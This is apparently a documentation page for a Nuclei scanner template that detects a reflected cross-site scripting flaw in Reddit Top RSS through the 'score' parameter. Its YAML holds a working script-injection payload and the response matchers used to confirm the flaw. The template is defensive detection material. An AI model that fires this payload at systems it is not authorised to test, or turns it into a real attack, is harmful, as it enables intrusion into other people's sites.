Reddit Top RSS - Cross-Site Scripting
ID: reddittop-rss-xss
Severity: high
Author: arafatansari
Tags: reddit,rss,xss
Description
Section titled “Description”Reddit Top RSS contains a cross-site scripting vulnerability via the /?subreddit=news&score= parameter.
YAML Source
Section titled “YAML Source”id: reddittop-rss-xss
info: name: Reddit Top RSS - Cross-Site Scripting author: arafatansari severity: high description: | Reddit Top RSS contains a cross-site scripting vulnerability via the /?subreddit=news&score= parameter. reference: - https://github.com/johnwarne/reddit-top-rss/issues/12 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: verified: true max-request: 1 tags: reddit,rss,xss
http: - method: GET path: - '{{BaseURL}}/?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and matchers: - type: word part: body words: - 'value="2134"><script>alert(document.domain)</script>" min="0"'
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4a0a00473045022100a3972399cae652a5102210485551ba2c15c5af4077e6449068fca242c614e7a702206509d88fe3551277f7c21843db294bd272ebc61d21f42b17ba178a928988c1b9:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/reddittop-rss-xss.yaml"